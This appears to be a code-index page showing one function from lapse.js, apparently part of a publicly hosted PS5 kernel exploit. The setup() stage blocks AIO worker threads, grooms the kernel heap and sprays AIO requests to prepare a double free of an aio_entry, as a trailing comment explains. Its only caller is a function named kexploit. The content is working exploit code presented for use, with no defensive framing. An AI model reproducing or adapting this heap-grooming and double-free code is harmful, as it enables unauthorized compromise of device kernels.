MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / setup

Function setup

g2all/700/lapse.js:1653–1678  ·  view source on GitHub ↗
(block_fd)

Source from the content-addressed store, hash-verified

1651// FUNCTIONS FOR STAGE: SETUP
1652
1653function setup(block_fd) {
1654 // this part will block the worker threads from processing entries so that
1655 // we may cancel them instead. this is to work around the fact that
1656 // aio_worker_entry2() will fdrop() the file associated with the aio_entry
1657 // on ps5. we want aio_multi_delete() to call fdrop()
1658 log("block AIO");
1659 const reqs1 = new Buffer(0x28 * num_workers);
1660 const block_id = new Word();
1661
1662 for (let i = 0; i < num_workers; i++) {
1663 reqs1.write32(8 + i * 0x28, 1);
1664 reqs1.write32(0x20 + i * 0x28, block_fd);
1665 }
1666 aio_submit_cmd(AIO_CMD_READ, reqs1.addr, num_workers, block_id.addr);
1667
1668 log("heap grooming");
1669 // chosen to maximize the number of 0x80 malloc allocs per submission
1670 const num_reqs = 3;
1671 const groom_ids = new View4(num_grooms);
1672 const groom_ids_p = groom_ids.addr;
1673 const greqs = make_reqs1(num_reqs);
1674 // allocate enough so that we start allocating from a newly created slab
1675 spray_aio(num_grooms, greqs.addr, num_reqs, groom_ids_p, false);
1676 cancel_aios(groom_ids_p, num_grooms);
1677 return [block_id, groom_ids];
1678}
1679
1680// overview:
1681// * double free a aio_entry (resides at a 0x80 malloc zone)

Callers 1

kexploitFunction · 0.70

Calls 6

logFunction · 0.90
aio_submit_cmdFunction · 0.70
make_reqs1Function · 0.70
spray_aioFunction · 0.70
cancel_aiosFunction · 0.70
write32Method · 0.45

Tested by

no test coverage detected